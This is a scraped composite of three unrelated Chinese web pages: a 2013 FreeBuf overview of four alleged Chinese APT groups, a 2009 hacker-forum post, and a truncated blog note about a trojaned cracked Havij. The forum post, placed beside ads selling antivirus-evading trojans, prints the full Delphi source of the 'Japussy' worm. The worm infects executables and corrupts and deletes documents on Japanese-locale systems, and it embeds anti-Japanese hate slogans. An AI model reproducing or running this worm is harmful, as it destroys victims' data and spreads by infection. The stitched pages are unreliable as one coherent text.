四大传奇:中国网络黑客组织

Posted on

四大传奇:中国网络黑客组织

分享到

百度分享

登陆注册

freebuf

新浪微博 腾讯微博订阅我们

关于本文作者

robert.li

robert.li (2级)

二度空间战略网络安全研究中心

四大传奇:中国网络黑客组织

robert.li @ 专题, 资讯 2013-10-09 共 2266 人围观

四大传奇-中国网络黑客组织

(The Legend Four—Chinese Cyber Hacking Groups)

2013年的网络空间被一种新型概念主宰-高级可持续性威胁—也就当前网上出镜率很高的“APT”。而极具讽刺意义的是,中国黑客几乎成为了所有APT的代名词,人们也开始纷纷研究和猜测这些神秘黑客组织的来源于构成。自年初以来,各大媒体和安全公司不断爆出与中国有关的黑客组织和网络攻击活动,其中最传奇的四个APT要数: 曼迪昂特揭露的APT1; 卡巴斯基公司曝光的“Icefog”; 赛门铁克公司曝光的“隐匿山猫”; 纽约时报公布的APT12。

美国政府和安全公司均试图将这“四大传奇”黑客组织与中国政府和军队联系起来,而中国官方却始终重申与这些组织毫无关系。大量的媒体报道、美中之间的博弈、接近于现实的间谍活动以及近似于科幻的故事情节,这一切都吸引了无数网民的眼球,引发了公众对黑客组织幕后指使者的猜测。FB小编觉得大伙儿不应去探究四大传奇究竟是否与中国政府有关,本文目的是带领广大网络安全爱好者回顾一下这四大黑客传奇(传说),从他们的背景、攻击对象和攻击手段等角度比较和研究,能有所收获。

NO.1 APT1—黑客组织中的“大哥大”

知名度:★★★★★ 攻击技巧:★★★★ 攻击范围:★★★★ 曝光单位:曼迪昂特

1.背景介绍

APT1,特指解放军总参三部二局(61398部队)。曼迪昂特指出,APT1可能是中国政府资助的一个最持久的执行者;它是20多个来自中国的APT组的其中一组,其成员至少从2006年起就对广泛的受害者进行了网络间谍活动,在七年内攻击了全球150多个单位。

下面我们可以通过一张组织结构图来了解61398部队在中国军队中的地位,可以毫不谦虚地讲,APT1应该是中国黑客组织中的“大哥大”。

2.窃密对象

APT1所瞄准的大多是以英语为主要工作语言的机构。APT1受害机构中整整87%总部设在以英语为母语的国家,其中115 家在美国,7家在加拿大与英国。剩下的19个受害者,17 家以英语为主要工作语言。APT1从受害机构盗取数据的范围很广。他们所盗取的数据类型有:

·产品开发及应用,包括测试结果资料、系统设计、产品手册、构件清单、以及相关模拟技术; ·制造工艺,例如专有生产过程描述、标准以及排放管理程序; ·商业计划,例如合同谈判立场定位与产品报价、法律事件、兼并、合资、收购等; ·政策定位与分析,例如白皮书、涉及高层人员的会议议程与纪要; ·高层雇员的电子邮件; ·用户密码以及网络架构资料。

3.攻击手法

第一步,通过发送鱼叉式钓鱼邮件引诱对方点击附件,一旦有人打开就装上后门软件。

第二部,在通信过程中,使用HTTP之外其他一些协议来模仿合法的互联网数据流,从而达到隐藏通讯的目的。

第三部,利用公开的工具软件来窃取被侵入系统的密码哈希值,以获取合法用户的密码,从而提升权限。

第四部,利用工具进行系统和网络环境侦查活动,展开内部侦查,获取更多有价值信息。

第五部,通过安装后门、获取凭证和登录门户网站等措施维持阵地,保障从外部持续、长期对侵入网络环境里关键系统的控制。

第六步,在网络中寻窃取机密文件,压缩打包,利用FTP进行传输。

NO.2 Icefog(冰雾)—打响网络战中的“游击战”

知名度:★★★★ 攻击技巧:★★★★ 攻击范围:★★★ 曝光单位:卡巴斯基

1.背景介绍

“Icefog”又是一个据称有中国背景的APT黑客组织,其活动追溯至2011年,攻击对象主要为日本和韩国。受害单位组合主要包括政府机构、军队承包商、海洋和造船公司、电信运营商、业界和高技术公司以及主流媒体。该组织目的性非常明确,擅长“游击战”(H&R),在获取机密信息之后会立即撤离,不留任何痕迹。由于卡巴斯基并没有直接拿出该组织与中国政府或军队有关的证据,因此并没有引起国内外媒体广泛关注。但从黑客行为、使用的工具以及攻击手段分析,不得不说与“中国”能够扯上关系。

2.窃密对象

卡巴斯基研究人员指出,Icefog的攻击目标主要位于韩国与日本。受到攻击的单位有韩国防工业承包商Lig Nex1以及Selectron公司,大宇造船公司(DSME Tech),韩进重工(Hanjin Heavy Industries),电信运营商韩国电信(Korea Telecom,),媒体公司富士电视(Fuji TV)以及日中经济协会。

3.攻击手法

Icefog攻击主要手段与APT1类似,主要是基于office、java漏洞的邮件和网页钓鱼,并结合社会工程学,对目标进行有组织、有目的和有规划的网络攻击。其中需要注意的是,该组织拥有大量MacOSX系统的漏洞库,而现在安全公司和大部分安全软件对MacOSX系统应用软件的漏洞监测并不到位,因此使用MacOSX系统的个人和组织应尤其注意。

NO.3 “隐匿山猫”(Hidden Lynx)—躲在隐形斗篷下的猫

知名度: ★★★ 攻击技巧:★★★★★ 攻击范围: ★★★★ 曝光单位:赛门铁克

1.背景介绍

“隐匿山猫”组织是一支具有先进网络能力的专业黑客组织。他们曾经在水坑式钓鱼攻击中(watering hole)突破了Bit9用于标记恶意软件的数字签名。该组织采用“雇佣黑客作战”的方式,对广泛的政府和公司展开攻击。该组织能够在同一时间发动多线攻击,利用最先进的攻击技巧入侵世界上防护最坚固的单位,同时还能在短时间内改变战术从而实现既定目标。针对不同的目标他们会研究不同的木马,Backdoor.Moudoor被用做攻击大型公司,而Trojan.Naid则是攻击高价值目标时所用。该组织参与了2009年针对美国Google、Adobe等大型公司发起的网络攻击行动—“极光行动”(Operation Aurora)。

2.窃密对象

2011年11月以来,全世界上百个组织声称遭到了“隐匿山猫”的攻击。该组织攻击范围从商业机构到各级政府,排名前十的领域为:金融、教育、政府、信息、医疗、工程、法律、媒体、非政府组织和国防企业。受到影响的国家有美国(52.78%)、台湾(15.53%)、中国(9%)、香港、日本、加拿大、德国、俄罗斯等。

·商业机密—该组织擅长攻击银行金融监管机构和商业组织,从中窃取机密信息,为涉及收购、股票交易的谈判提供重要情报参考。

·科技机密—该组织还擅长攻击政府承包商,从中获取最新科学技术,以填补本国与外国之间的科技差距。

3.攻击手法

“隐匿山猫”主要攻击方式也是通过漏洞安装木马,但其使用的木马——Backdoor.Moudoor、Trojan.Naid、Backdoor.Vasport、Backdoor.Boda和Trojan.Hydraq可以说是“四大传奇”中技术含量最高的,而且在改变传统鱼叉式攻击转向“水坑式”攻击上,该组织也取得了成功。

NO.4 APT12—神出鬼没的“卡尔克”(Calc)

知名度:★★★★★ 攻击技巧:★★★ 攻击范围: ★★★★★ 曝光单位:纽约时报

1.背景介绍

谈到APT12,自然会让人联想到与中国军方有关联的APT1,而且曼迪昂特一份报告中也指出,“中国有20个类似APT1的黑客组织”,APT12自然就是其中之一。自2012年10月《纽约时报》报导中国高官家族聚敛巨额财富的新闻之后,它的计算机系统遭到了中国黑客长达4个月的攻击,黑客入侵了系统窃取了新闻记者和雇员的密码,这一黑客组织被定义为APT12(Calc Team)。在沉寂了几个月之后,根据安全公司FireEye发布的报告,APT 12再度活跃,攻击者还更新了他们使用的来自Backdoor.APT.Aumlib和Backdoor.APT.Ixeshe恶意程序家族的黑客工具;时隔不久,这一组织又再次对俄罗斯G20峰会成员国发起的大量攻击,欧盟、俄罗斯、韩国等重要经济体的财政和金融部门都遭到了不同程度的攻击。

2.窃密对象

根据该组织历史攻击记录来看,其攻击目标主要为社交媒体、美台政府机构、大型公司和国防承包商。从这些目标中我们可以分析出,该组织主要是为了获取政府敏感文件、世界顶级科技以及经济类情报。

3.攻击手法

与上述三个黑客组织所用的方法有所不同的是,APT12擅长利用Dropbox等云存储工具开展攻击。攻击者通过注册一个攻击对象可能熟悉的Dropbox账号,并在空间里上传绑定了木马的合法文件,通过Dropbox自带的邮件发送功能向受害者发送分享链接,引诱对方下载点击。

综合各大安全公司的分析,APT12攻击流程可分为以下几步。

第一步,搜集攻击对象信息,发现与其联系密切的人员。 第二步,用搜集到的人员信息注册Dropbox(早先版本的Dropbox不需要邮件验证,因此可以利用任何伪造邮箱注册) 第三部,制作木马,将其连接绑定在wordpress等社交平台的博客之中,再利用博客设置转发数据。 第四步,找出一份可能在上述两者之间流通的合法pdf文档,绑定木马。 第五部,压缩PDF为ZIP格式从而绕过杀软查杀,上传至Dropbox。 第六步,利用Dropbox邮件分享功能发送给攻击对象,等待对方点击。

文章参考资料:

http://www.scribd.com/doc/144378692/APT1-61398-Hacker-Report http://www.81tech.com/special/news/27.html http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html https://community.rapid7.com/community/infosec/blog/2013/08/26/upcoming-g20-summit-fuels-espionage-operations

http://www.cybersquared.com/killing-with-a-borrowed-knife-chaining-core-cloud-service-profile-infrastructure-for-cyber-attacks/

http://www.freebuf.com/news/12884.html http://www.freebuf.com/news/13425.html 2 0 您已评价!

如文中未特别声明转载请注明出自: FreebuF.COM

3 FavoriteLoading收藏该文

相关文章

7条评论 2268人已围观

13条评论 6638人已围观

2条评论 8954人已围观

14条评论 9090人已围观

30条评论 17140人已围观 

7 Comments 发表评论

  1. cad 2013-10-09 1楼

"受到影响的国家有美国(52.78%)、台湾(15.53%)、中国(9%)、香港、日本、加拿大、德国、俄罗斯等。 " 亮了(3) 回复

  1. helen 2013-10-09 2楼

传奇肯定是

黑客动画吧、黑鹰基地、黑客基地、火狐技术联盟 亮了(4) 回复

  1. Jakers (1级) 2013-10-09 3楼

这文章会被和谐吗 亮了(2) 回复

  1. helen的爸爸 2013-10-09 4楼

军方背景 亮了(0) 回复

  1. Freedom 2013-10-09 5楼

已打包 和谐吧 :eek: 应该找冯小刚来拍一部电影 亮了(0) 回复

  1. 123 2013-10-09 6楼

有事没事多报道点别人怎么搞我们的吧 亮了(0) 回复

  1. 123 2013-10-09 7楼

天天瞎扯 还是那句话 中国黑客最NB的是能取美国人贞操于千里之外 亮了(4) 回复 昵称 (必须)您当前尚未登录。登陆?注册

邮箱 必须(保密)

发表言论前,请滑动滚动条解锁 表情插代码插图

正在提交, 请稍候...

/#

取消 有人回复时邮件通知我

本文这些评论亮了捐助我们**Hot Comments**

helen @ 2013-10-09 12:01:17

传奇肯定是 黑客动画吧、黑鹰基地、黑客基地、火狐技术联盟 亮了 (4) 123 @ 2013-10-09 12:43:01

天天瞎扯 还是那句话 中国黑客最NB的是能取美国人贞操于千里之外 亮了 (4) cad @ 2013-10-09 11:49:14

"受到影响的国家有美国(52.78%)、台湾(15.53%)、中国(9%)、香港、日本、加拿大、德国、俄罗斯等。 " 亮了 (3) Jakers @ 2013-10-09 12:02:11

这文章会被和谐吗 亮了 (2)

最新发布**New Posts**

FREEBUF.COM

免责声明 友情链接 我要投稿 关于我们 合作伙伴 联系我们

Copyright @ 2012 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号-1

正在加载中...

熊猫烧香源代码

Posted on

熊猫烧香源代码 - 【编程魔方】

黑客X档案官方论坛

注册 登录

1234下一页返回列表 回复 发帖

张凯伦 当前离线 查看详细资料

学前班

帖子10 积分5 威望0 个 金币17 个 宣传0 个 注册时间2009-4-5 最后登录2009-8-27 1

打印

字体大小: tT

发表于 2009-8-7 11:55 | 只看该作者

承接免杀木马业务_出售各类免杀木马

[原创] 熊猫烧香源代码

program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' + ''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' + ''''''''''''''''/// W32.Japussy.Worm.A ///''''''''''''''''; {$R /.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之? end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用,退出 if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = /#80) and (Buf[1] = /#69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i / Mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之 except end; end; { 获得可写的驱动器列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + '''''''''''''''':\''''''''''''''''; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVEFIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end; end; { 遍历目录,感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') then begin InfectOneFile(Fn); //感染可执行文件
end else if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end else if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or (Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or (Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or (Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or (Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + ''''''''''''''''/./'''''''''''''''', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings + ''''''''''''''''\'''''''''''''''', Mask); FreeAndNil(SubDir); end; { 遍历磁盘上所有的文件 } procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + '''''''''''''''':\'''''''''''''''', ''''''''''''''''/./''''''''''''''''); //感染之 SendMail; //发带毒邮件 Sleep(1000 / 60 / 5); //睡眠5分钟 end; end; { 主程序开始 } begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + /#32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; end. 请转帖的朋友标明出处 http://bbs.hackerxfiles.net/goto.php?url=aHR0cDovL3d3dy5ob25rZXJjbi5uZXQ= 以下为清除威金、熊猫烧香病毒的批处理 @echo off title 清除威金(logo_1,熊猫烧香)病毒最新变种工具 @echo 清除VIKING病毒最新变种工具 pause if exist %windir%\rundl132.exe echo ---报告老大,发现有威金病毒埋伏! 让我来干掉它----- if exist %windir%\logo_1.exe echo ---报告老大,发现有威金病毒埋伏!让我来干掉它 ----- //杀viking进程 tskill logo_1 tskill rundl132 tskill zt tskill wow tskill logo1
tskill Ravmon tskill Eghost tskill Mailmon tskill KAVPFW tskill IPARMOR tskill Ravmond taskkill /f /im 0sy.exe taskkill /f /im 1sy.exe taskkill /f /im 2sy.exe taskkill /f /im 3sy.exe taskkill /f /im 4sy.exe taskkill /f /im 5sy.exe taskkill /f /im 6sy.exe taskkill /f /im 7sy.exe taskkill /f /im 8sy.exe taskkill /f /im 9sy.exe //删除木马 del d:_desktop.ini /f/s/q/a del c:\Program Files_desktop.ini del %Windir%\MickNew\MickNew.dll del %Windir%\MHFILE\MH_DLL.dll del %Windir%_desktop.ini del %Windir%\TODAYZTKING\TODAYZTKING.DLL attrib -h -r -s c:\go.exe del c:\go.exe del c:\setup.exe attrib -h -s -r c:\autorun.inf del c:\autorun.inf attrib -h -r -s d:\go.exe del d:\go.exe del d:\setup.exe attrib -h -s -r d:\autorun.inf del d:\autorun.inf del e:\setup.exe attrib -h -r -s e:\go.exe del e:\go.exe attrib -h -s -r e:\autorun.inf del e:\autorun.inf attrib -h -r -s f:\go.exe del f:\go.exe del f:\setup.exe attrib -h -s -r f:\autorun.inf del f:\autorun.inf attrib -h -r -s g:\go.exe del g:\go.exe del g:\setup.exe attrib -h -s -r g:\autorun.inf del g:\autorun.inf del h:\go.exe del h:\setup.exe attrib -h -s -r g:\autorun.inf del h:\autorun.inf del i:\go.exe attrib -h -s -r g:\autorun.inf del i:\autorun.inf del i:\setup.exe del j:\go.exe attrib -h -s -r g:\autorun.inf del j:\autorun.inf del j:\setup.exe del %windir%\system\Logo1.exedel %windir%\system\Logo1.exe del %windir%\rundl132.exe del %windir%\vDll.dll del %windir%\Dll.dll del %windir%\0Sy.exe del %windir%\1Sy.exe del %windir%\2Sy.exe del %windir%\3Sy.exe del %windir%\5Sy.exe del %windir%\1.com @echo ^^ 报告老大,VIKING已经全都被处死 @echo 真累哈,再给你的系统免疫下,不需要的话请直接退出 pause //免疫系统 echo > %windir%\Logo1.exe echo > %windir%\rundl132.exe echo > %windir%\0Sy.exe echo > %windir%\vDll.dll echo > %windir%\1Sy.exe echo > %windir%\2Sy.exe echo > %windir%\rundll32.exe echo > %windir%\3Sy.exe echo > %windir%\5Sy.exe echo > %windir%\1.com echo > %windir%\exerouter.exe echo > %windir%\EXP10RER.com echo > %windir%\finders.com echo > %windir%\Shell.sys echo > %windir%\kill.exe echo > %windir%\sws.dll echo > %windir%\sws32.dll echo > %windir%\uninstall\rundl132.exe echo > %windir%\SVCHOST.exe echo > %windir%\WINLOGON.exe echo > %windir%\RUNDLL32.EXE echo > C:\"Program Files"\svchost.exe echo > C:\"Program Files"\"Internet Explorer"\svchost.exe echo > %windir%\Download\svchost.exe echo > %windir%\system32\wldll.dll attrib %windir%\Logo1.exe +s +r +h attrib %windir%\rundl132.exe +s +r +h attrib %windir%\0Sy.exe +s +r +h attrib %windir%\vDll.dll +s +r +h attrib %windir%\1Sy.exe +s +r +h attrib %windir%\2Sy.exe +s +r +h attrib %windir%\rundll32.exe +s +r +h attrib %windir%\3Sy.exe +s +r +h attrib %windir%\5Sy.exe +s +r +h attrib %windir%\1.com +s +r +h attrib %windir%\exerouter.exe +s +r +h attrib %windir%\EXP10RER.com +s +r +h attrib %windir%\finders.com +s +r +h attrib %windir%\Shell.sys +s +r +h attrib %windir%\kill.exe +s +r +h attrib %windir%\sws.dll +s +r +h attrib %windir%\sws32.dll +s +r +h attrib %windir%\uninstall\rundl132.exe +s +r +h attrib %windir%\SVCHOST.exe +s +r +h attrib %windir%\WINLOGON.exe +s +r +h attrib %windir%\RUNDLL32.EXE +s +r +h attrib C:\"Program Files"\svchost.exe +s +r +h attrib C:\"Program Files"\"Internet Explorer"\svchost.exe +s +r +h attrib %windir%\Download\svchost.exe +s +r +h attrib %windir%\system32\wldll.dll +s +r +h net share c$ /del net share d$ /del net share e$ /del net share f$ /del net share admin$ /del net share ipc$ /del cls @echo ------------------------------------- @echo viking已经全部被我杀完拉,哈,厉害吧 @echo 盗攻网络提醒您:系统已经成功免疫! @echo 谢谢你的使用,请重启您的电脑! @echo ------------------------------------- pause 收藏 分享 评分 承接免杀木马业务_出售各类免杀木马 回复 引用

订阅 TOP

stws

stws 当前离线 QQ查看详细资料

学前班

帖子85 积分43 威望0 个 金币179 个 宣传0 个 注册时间2009-6-6 最后登录2009-10-17 2

发表于 2009-8-7 12:05 | 只看该作者

哇哇 强 呼呼 ℡. 「結綀過祛;”ì從薪開始」!. 回复 引用

TOP NEWFHCOME

NEWFHCOME 当前离线 查看详细资料

学前班

帖子5 积分3 威望0 个 金币17 个 宣传0 个 注册时间2009-8-5 最后登录2009-8-9 3

发表于 2009-8-7 13:44 | 只看该作者

厉害啊。 回复 引用

TOP

Jsonin

Jsonin 当前离线 QQ查看详细资料

一年级

Rank: 1

帖子172 积分86 威望0 个 金币343 个 宣传0 个 注册时间2009-8-1 最后登录2009-10-18 4

发表于 2009-8-8 11:49 | 只看该作者

复制这些有什么用? 回复 引用

TOP qq8318763

qq8318763 当前离线 QQYahoo!阿里旺旺查看个人网站查看详细资料

一年级

Rank: 1

帖子127 积分64 威望0 个 金币203 个 宣传0 个 注册时间2009-8-7 最后登录2009-10-1 5

发表于 2009-8-9 16:21 | 只看该作者

可怕啊,好可怕 回复 引用

TOP

追求梦想

追求梦想 当前离线 查看详细资料

学前班

帖子60 积分30 威望0 个 金币52 个 宣传0 个 注册时间2007-10-10 最后登录2009-10-1 6

发表于 2009-8-9 18:01 | 只看该作者

r弱弱的问一下,这是什么语言写的? 回复 引用

TOP YamosY

YamosY 当前离线 QQ查看详细资料

学前班

帖子86 积分43 威望0 个 金币88 个 宣传0 个 注册时间2009-6-18 最后登录2009-9-13 7

发表于 2009-8-10 05:04 | 只看该作者

哇塞~好好专研下~嘿嘿~~ 回复 引用

TOP

ak47chongfeng

ak47chongfeng 当前离线 查看详细资料

学前班

帖子32 积分16 威望0 个 金币9 个 宣传0 个 注册时间2009-7-12 最后登录2009-10-27 8

发表于 2009-8-10 12:16 | 只看该作者

这是用什么写的 回复 引用

TOP huangmeng

huangmeng 当前离线 QQ查看个人网站查看详细资料

学前班

帖子52 积分26 威望0 个 金币87 个 宣传0 个 注册时间2009-8-6 最后登录2009-10-2 9

发表于 2009-8-10 18:46 | 只看该作者

怎么用啊 回复 引用

TOP

w88446669

w88446669 当前离线 查看详细资料

学前班

帖子14 积分7 威望0 个 金币18 个 宣传0 个 注册时间2009-1-31 最后登录2009-8-18 10

发表于 2009-8-18 16:37 | 只看该作者

這是用什麼語言寫的 回复 引用

TOP

1234下一页返回列表 论坛特区

京ICP备05044370号|Archiver|SiteMap |WAP|

GMT+8, 2009-10-28 11:12, Processed in 0.026201 second(s), 4 queries, Gzip enabled.

Powered by Discuz! 7.0.0 © 2001-2009

Designed by 54Abu.Cn

这个世界是一点懒都偷不了的!_Vexs_百度空间

Posted on

这个世界是一点懒都偷不了的!Vexs百度空间

分享到

百度分享

Security Development Lifecycle

2012-09-28 15:03

这个世界是一点懒都偷不了的!

最近发现了国外有人发布了Havij v1.16 Pro Cracked,随即我在x-bug转发了贴,随后帖子又被友情转到了freebuf。 在27号收到一个惊人的报告(9.27 UPDATE警告 Freebuf团队发现此软件绑有木马,请谨慎下载。)

我印象里这个Loader我测试过没有发现异常啊,我也相信发布Crack版本的作者和转贴的人不会这么无聊,怎么会这样,大家都是搞安全的,这种小动作没意思,随即抽空又做了下检查,确实没有发现异常,问了几个人,都说没发现异常。 但那帖子还有截图,证据明显,昨天比较忙只简单回复了下就懒得继续深究了,但在刚刚又想起了这很郁闷的事,决定再次看看。

